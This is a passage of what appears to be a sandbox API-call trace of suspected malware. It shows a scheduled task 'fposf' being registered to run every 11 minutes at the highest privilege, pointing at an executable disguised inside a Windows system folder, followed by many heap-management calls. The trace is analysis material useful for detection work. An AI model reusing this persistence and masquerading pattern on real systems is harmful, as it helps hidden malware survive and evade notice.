StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0156.670] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0156.671] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0156.671] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0156.671] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0156.671] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0156.671] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0156.671] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0156.671] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0156.671] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0156.671] IUnknown:Release (This=0x116110) returned 0x1 [0156.671] IUnknown:Release (This=0x117d90) returned 0x1 [0156.671] ITaskDefinition:get_Triggers (in: This=0x117cd0, ppTriggers=0x25c680 | out: ppTriggers=0x25c680*=0x117ed0) returned 0x0 [0156.671] ITriggerCollection:Create (in: This=0x117ed0, Type=1, ppTrigger=0x25c678 | out: ppTrigger=0x25c678*=0x116180) returned 0x0 [0156.671] lstrlenW (lpString="11") returned 2 [0156.671] _vsnwprintf (in: _Buffer=0x25c600, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x25c5f8 | out: _Buffer="PT11M") returned 5 [0156.672] ITrigger:get_Repetition (in: This=0x116180, ppRepeat=0x25c670 | out: ppRepeat=0x25c670*=0x116210) returned 0x0 [0156.672] IRepetitionPattern:put_Interval (This=0x116210, Interval="PT11M") returned 0x0 [0156.672] IUnknown:Release (This=0x116210) returned 0x1 [0156.672] _vsnwprintf (in: _Buffer=0x25c5c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x25c598 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0156.672] ITrigger:put_StartBoundary (This=0x116180, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0156.672] lstrlenW (lpString="") returned 0 [0156.672] lstrlenW (lpString="") returned 0 [0156.672] lstrlenW (lpString="") returned 0 [0156.672] lstrlenW (lpString="") returned 0 [0156.672] IUnknown:Release (This=0x116180) returned 0x1 [0156.672] IUnknown:Release (This=0x117ed0) returned 0x1 [0156.672] ITaskDefinition:get_Settings (in: This=0x117cd0, ppSettings=0x25cb20 | out: ppSettings=0x25cb20*=0x115f50) returned 0x0 [0156.673] lstrlenW (lpString="") returned 0 [0156.673] IUnknown:Release (This=0x115f50) returned 0x1 [0156.673] GetLocalTime (in: lpSystemTime=0x25c9d8 | out: lpSystemTime=0x25c9d8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x10, wMilliseconds=0xde)) [0156.673] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0156.673] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0156.673] GetUserNameW (in: lpBuffer=0x25ca00, pcbBuffer=0x25c9e8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x25c9e8) returned 1 [0156.674] ITaskDefinition:get_RegistrationInfo (in: This=0x117cd0, ppRegistrationInfo=0x25c9d0 | out: ppRegistrationInfo=0x25c9d0*=0x117e10) returned 0x0 [0156.674] IRegistrationInfo:put_Author (This=0x117e10, Author="") returned 0x0 [0156.674] _vsnwprintf (in: _Buffer=0x25ca00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x25c998 | out: _Buffer="2022-08-06T02:19:16") returned 19 [0156.674] IRegistrationInfo:put_Date (This=0x117e10, Date="") returned 0x0 [0156.674] IUnknown:Release (This=0x117e10) returned 0x1 [0156.674] malloc (_Size=0x18) returned 0x117c10 [0156.675] free (_Block=0x117c10) [0156.675] lstrlenW (lpString="") returned 0 [0156.675] ITaskDefinition:get_Principal (in: This=0x117cd0, ppPrincipal=0x25cbf0 | out: ppPrincipal=0x25cbf0*=0x116060) returned 0x0 [0156.675] IPrincipal:put_RunLevel (This=0x116060, RunLevel=1) returned 0x0 [0156.675] IUnknown:Release (This=0x116060) returned 0x1 [0156.675] malloc (_Size=0x18) returned 0x117c10 [0156.675] ITaskFolder:RegisterTaskDefinition (in: This=0x117c80, Path="fposf", pDefinition=0x117cd0, flags=6, UserId=0x25cc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25ccb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25eb80, varVal2=0xfe), LogonType=3, sddl=0x25cc90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x25cb90 | out: ppTask=0x25cb90*=0x1163d0) returned 0x0 [0156.826] free (_Block=0x117c10) [0156.826] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.826] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0156.826] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0156.826] GetProcessHeap () returned 0x300000 [0156.826] GetProcessHeap () returned 0x300000 [0156.826] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d620) returned 1 [0156.826] GetProcessHeap () returned 0x300000 [0156.826] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d620) returned 0xc [0156.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d620 | out: hHeap=0x300000) returned 1 [0156.826] GetProcessHeap () returned 0x300000 [0156.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x82) returned 0x339bc0 [0156.826] _vsnwprintf (in: _Buffer=0x25d2d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x25cb38 | out: _Buffer="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n") returned 67 [0156.826] _fileno (_File=0x7fefed02ab0) returned -2 [0156.826] _errno () returned 0x114bb0 [0156.826] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0156.827] SetLastError (dwErrCode=0x6) [0156.827] lstrlenW (lpString="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n") returned 67 [0156.827] GetConsoleOutputCP () returned 0x0 [0156.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0156.827] GetConsoleOutputCP () returned 0x0 [0156.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xffc31880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0156.827] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 67 [0156.827] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0156.827] IUnknown:Release (This=0x1163d0) returned 0x0 [0156.827] TaskScheduler:IUnknown:Release (This=0x117cd0) returned 0x0 [0156.827] TaskScheduler:IUnknown:Release (This=0x117c80) returned 0x0 [0156.827] TaskScheduler:IUnknown:Release (This=0x117a50) returned 0x1 [0156.827] lstrlenW (lpString="") returned 0 [0156.828] lstrlenW (lpString="11") returned 2 [0156.828] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="11", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0156.828] GetProcessHeap () returned 0x300000 [0156.828] GetProcessHeap () returned 0x300000 [0156.828] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31c250) returned 1 [0156.828] GetProcessHeap () returned 0x300000 [0156.828] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31c250) returned 0x1fc [0156.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31c250 | out: hHeap=0x300000) returned 1 [0156.828] GetProcessHeap () returned 0x300000 [0156.828] GetProcessHeap () returned 0x300000 [0156.828] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31b990) returned 1 [0156.828] GetProcessHeap () returned 0x300000 [0156.828] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31b990) returned 0x6 [0156.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31b990 | out: hHeap=0x300000) returned 1 [0156.829] GetProcessHeap () returned 0x300000 [0156.829] GetProcessHeap () returned 0x300000 [0156.829] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d4e0) returned 1 [0156.829] GetProcessHeap () returned 0x300000 [0156.829] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d4e0) returned 0x16 [0156.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d4e0 | out: hHeap=0x300000) returned 1 [0156.829] GetProcessHeap () returned 0x300000 [0156.829] GetProcessHeap () returned 0x300000 [0156.829] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d560) returned 1 [0156.829] GetProcessHeap () returned 0x300000 [0156.829] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d560) returned 0x18 [0156.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d560 | out: hHeap=0x300000) returned 1 [0156.829] GetProcessHeap () returned 0x300000 [0156.829] GetProcessHeap () returned 0x300000 [0156.829] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cdb0) returned 1 [0156.829] GetProcessHeap () returned 0x300000 [0156.829] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cdb0) returned 0x20 [0156.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cdb0 | out: hHeap=0x300000) returned 1 [0156.830] GetProcessHeap () returned 0x300000 [0156.830] GetProcessHeap () returned 0x300000 [0156.830] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31bff0) returned 1 [0156.830] GetProcessHeap () returned 0x300000 [0156.830] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31bff0) returned 0xa0 [0156.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31bff0 | out: hHeap=0x300000) returned 1 [0156.830] GetProcessHeap () returned 0x300000 [0156.830] GetProcessHeap () returned 0x300000 [0156.830] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba70) returned 1 [0156.830] GetProcessHeap () returned 0x300000 [0156.830] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ba70) returned 0x18 [0156.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba70 | out: hHeap=0x300000) returned 1 [0156.830] GetProcessHeap () returned 0x300000 [0156.830] GetProcessHeap () returned 0x300000 [0156.830] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cb10) returned 1 [0156.830] GetProcessHeap () returned 0x300000 [0156.830] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cb10) returned 0x20 [0156.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cb10 | out: hHeap=0x300000) returned 1 [0156.831] GetProcessHeap () returned 0x300000 [0156.831] GetProcessHeap () returned 0x300000 [0156.831] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31dc90) returned 1 [0156.831] GetProcessHeap () returned 0x300000 [0156.831] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31dc90) returned 0x54 [0156.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31dc90 | out: hHeap=0x300000) returned 1 [0156.831] GetProcessHeap () returned 0x300000 [0156.831] GetProcessHeap () returned 0x300000 [0156.831] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d4c0) returned 1 [0156.831] GetProcessHeap () returned 0x300000 [0156.831] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d4c0) returned 0x18 [0156.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d4c0 | out: hHeap=0x300000) returned 1 [0156.832] GetProcessHeap () returned 0x300000 [0156.832] GetProcessHeap () returned 0x300000 [0156.832] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cae0) returned 1 [0156.832] GetProcessHeap () returned 0x300000 [0156.832] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cae0) returned 0x20 [0156.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cae0 | out: hHeap=0x300000) returned 1 [0156.832] GetProcessHeap () returned 0x300000 [0156.832] GetProcessHeap () returned 0x300000 [0156.832] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31dd10) returned 1 [0156.832] GetProcessHeap () returned 0x300000 [0156.833] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31dd10) returned 0x56 [0156.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31dd10 | out: hHeap=0x300000) returned 1 [0156.833] GetProcessHeap () returned 0x300000 [0156.833] GetProcessHeap () returned 0x300000 [0156.833] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d540) returned 1 [0156.833] GetProcessHeap () returned 0x300000 [0156.833] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d540) returned 0x18 [0156.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d540 | out: hHeap=0x300000) returned 1 [0156.833] GetProcessHeap () returned 0x300000 [0156.833] GetProcessHeap () returned 0x300000 [0156.833] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cab0) returned 1 [0156.833] GetProcessHeap () returned 0x300000 [0156.833] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cab0) returned 0x20 [0156.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cab0 | out: hHeap=0x300000) returned 1 [0156.834] GetProcessHeap () returned 0x300000 [0156.834] GetProcessHeap () returned 0x300000 [0156.834] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d520) returned 1 [0156.834] GetProcessHeap () returned 0x300000 [0156.834] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d520) returned 0xe [0156.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d520 | out: hHeap=0x300000) returned 1 [0156.834] GetProcessHeap () returned 0x300000 [0156.834] GetProcessHeap () returned 0x300000 [0156.834] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d500) returned 1 [0156.834] GetProcessHeap () returned 0x300000 [0156.834] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d500) returned 0x18 [0156.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d500 | out: hHeap=0x300000) returned 1 [0156.834] GetProcessHeap () returned 0x300000 [0156.834] GetProcessHeap () returned 0x300000 [0156.834] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315d50) returned 1 [0156.834] GetProcessHeap () returned 0x300000 [0156.834] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315d50) returned 0x20 [0156.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315d50 | out: hHeap=0x300000) returned 1 [0156.835] GetProcessHeap () returned 0x300000 [0156.835] GetProcessHeap () returned 0x300000 [0156.835] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31bbf0) returned 1 [0156.835] GetProcessHeap () returned 0x300000 [0156.835] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31bbf0) returned 0x208 [0156.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31bbf0 | out: hHeap=0x300000) returned 1 [0156.835] GetProcessHeap () returned 0x300000 [0156.835] GetProcessHeap () returned 0x300000 [0156.835] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba50) returned 1 [0156.835] GetProcessHeap () returned 0x300000 [0156.835] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ba50) returned 0x18 [0156.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba50 | out: hHeap=0x300000) returned 1 [0156.835] GetProcessHeap () returned 0x300000 [0156.835] GetProcessHeap () returned 0x300000 [0156.836] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315c60) returned 1 [0156.836] GetProcessHeap () returned 0x300000 [0156.836] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315c60) returned 0x20 [0156.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315c60 | out: hHeap=0x300000) returned 1 [0156.836] GetProcessHeap () returned 0x300000 [0156.836] GetProcessHeap () returned 0x300000 [0156.836] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d280) returned 1 [0156.836] GetProcessHeap () returned 0x300000 [0156.836] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d280) returned 0x200 [0156.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d280 | out: hHeap=0x300000) returned 1 [0156.836] GetProcessHeap () returned 0x300000 [0156.836] GetProcessHeap () returned 0x300000 [0156.836] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba90) returned 1 [0156.837] GetProcessHeap () returned 0x300000 [0156.837] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ba90) returned 0x18 [0156.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba90 | out: hHeap=0x300000) returned 1 [0156.837] GetProcessHeap () returned 0x300000 [0156.837] GetProcessHeap () returned 0x300000 [0156.837] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315bd0) returned 1 [0156.837] GetProcessHeap () returned 0x300000 [0156.837] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315bd0) returned 0x20 [0156.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315bd0 | out: hHeap=0x300000) returned 1 [0156.837] GetProcessHeap () returned 0x300000 [0156.837] GetProcessHeap () returned 0x300000 [0156.837] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31c200) returned 1 [0156.837] GetProcessHeap () returned 0x300000 [0156.837] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31c200) returned 0x14 [0156.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31c200 | out: hHeap=0x300000) returned 1 [0156.837] GetProcessHeap () returned 0x300000 [0156.837] GetProcessHeap () returned 0x300000 [0156.837] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31c1e0) returned 1 [0156.837] GetProcessHeap () returned 0x300000 [0156.838] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31c1e0) returned 0x18 [0156.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31c1e0 | out: hHeap=0x300000) returned 1 [0156.838] GetProcessHeap () returned 0x300000 [0156.838] GetProcessHeap () returned 0x300000 [0156.838] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315b10) returned 1 [0156.838] GetProcessHeap () returned 0x300000 [0156.838] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315b10) returned 0x20 [0156.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315b10 | out: hHeap=0x300000) returned 1 [0156.838] GetProcessHeap () returned 0x300000 [0156.838] GetProcessHeap () returned 0x300000 [0156.838] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31c220) returned 1 [0156.838] GetProcessHeap () returned 0x300000 [0156.838] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31c220) returned 0x16 [0156.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31c220 | out: hHeap=0x300000) returned 1 [0156.838] GetProcessHeap () returned 0x300000 [0156.838] GetProcessHeap () returned 0x300000 [0156.838] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31c1a0) returned 1 [0156.838] GetProcessHeap () returned 0x300000 [0156.838] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31c1a0) returned 0x18 [0156.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31c1a0 | out: hHeap=0x300000) returned 1 [0156.839] GetProcessHeap () returned 0x300000 [0156.839] GetProcessHeap () returned 0x300000 [0156.839] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315ae0) returned 1 [0156.839] GetProcessHeap () returned 0x300000 [0156.839] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315ae0) returned 0x20 [0156.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315ae0 | out: hHeap=0x300000) returned 1 [0156.839] GetProcessHeap () returned 0x300000 [0156.839] GetProcessHeap () returned 0x300000 [0156.839] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31b9d0) returned 1 [0156.839] GetProcessHeap () returned 0x300000 [0156.839] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31b9d0) returned 0x2 [0156.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31b9d0 | out: hHeap=0x300000) returned 1 [0156.839] GetProcessHeap () returned 0x300000 [0156.839] GetProcessHeap () returned 0x300000 [0156.839] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315930) returned 1 [0156.839] GetProcessHeap () returned 0x300000 [0156.839] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315930) returned 0x20 [0156.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315930 | out: hHeap=0x300000) returned 1 [0156.840] GetProcessHeap () returned 0x300000 [0156.840] GetProcessHeap () returned 0x300000 [0156.840] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315960) returned 1 [0156.840] GetProcessHeap () returned 0x300000 [0156.840] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315960) returned 0x20 [0156.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315960 | out: hHeap=0x300000) returned 1 [0156.840] GetProcessHeap () returned 0x300000 [0156.840] GetProcessHeap () returned 0x300000 [0156.840] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315990) returned 1 [0156.840] GetProcessHeap () returned 0x300000 [0156.840] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315990) returned 0x20 [0156.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315990 | out: hHeap=0x300000) returned 1 [0156.841] GetProcessHeap () returned 0x300000 [0156.841] GetProcessHeap () returned 0x300000 [0156.841] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x3159c0) returned 1 [0156.841] GetProcessHeap () returned 0x300000 [0156.841] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x3159c0) returned 0x20 [0156.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3159c0 | out: hHeap=0x300000) returned 1 [0156.841] GetProcessHeap () returned 0x300000 [0156.841] GetProcessHeap () returned 0x300000 [0156.841] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cb40) returned 1 [0156.841] GetProcessHeap () returned 0x300000 [0156.841] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cb40) returned 0x20 [0156.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cb40 | out: hHeap=0x300000) returned 1 [0156.841] GetProcessHeap () returned 0x300000 [0156.842] GetProcessHeap () returned 0x300000 [0156.842] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d660) returned 1 [0156.842] GetProcessHeap () returned 0x300000 [0156.842] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d660) returned 0xa [0156.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d660 | out: hHeap=0x300000) returned 1 [0156.842] GetProcessHeap () returned 0x300000 [0156.842] GetProcessHeap () returned 0x300000 [0156.842] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cb70) returned 1 [0156.842] GetProcessHeap () returned 0x300000 [0156.842] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cb70) returned 0x20 [0156.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cb70 | out: hHeap=0x300000) returned 1 [0156.842] GetProcessHeap () returned 0x300000 [0156.842] GetProcessHeap () returned 0x300000 [0156.842] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x317a50) returned 1 [0156.842] GetProcessHeap () returned 0x300000 [0156.842] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x317a50) returned 0x30 [0156.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x317a50 | out: hHeap=0x300000) returned 1 [0156.842] GetProcessHeap () returned 0x300000 [0156.842] GetProcessHeap () returned 0x300000 [0156.843] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cba0) returned 1 [0156.843] GetProcessHeap () returned 0x300000 [0156.843] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cba0) returned 0x20 [0156.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cba0 | out: hHeap=0x300000) returned 1 [0156.843] GetProcessHeap () returned 0x300000 [0156.843] GetProcessHeap () returned 0x300000 [0156.843] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x317a90) returned 1 [0156.843] GetProcessHeap () returned 0x300000 [0156.843] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x317a90) returned 0x30 [0156.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x317a90 | out: hHeap=0x300000) returned 1 [0156.843] GetProcessHeap () returned 0x300000 [0156.843] GetProcessHeap () returned 0x300000 [0156.843] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd80) returned 1 [0156.843] GetProcessHeap () returned 0x300000 [0156.843] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cd80) returned 0x20 [0156.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd80 | out: hHeap=0x300000) returned 1 [0156.844] GetProcessHeap () returned 0x300000 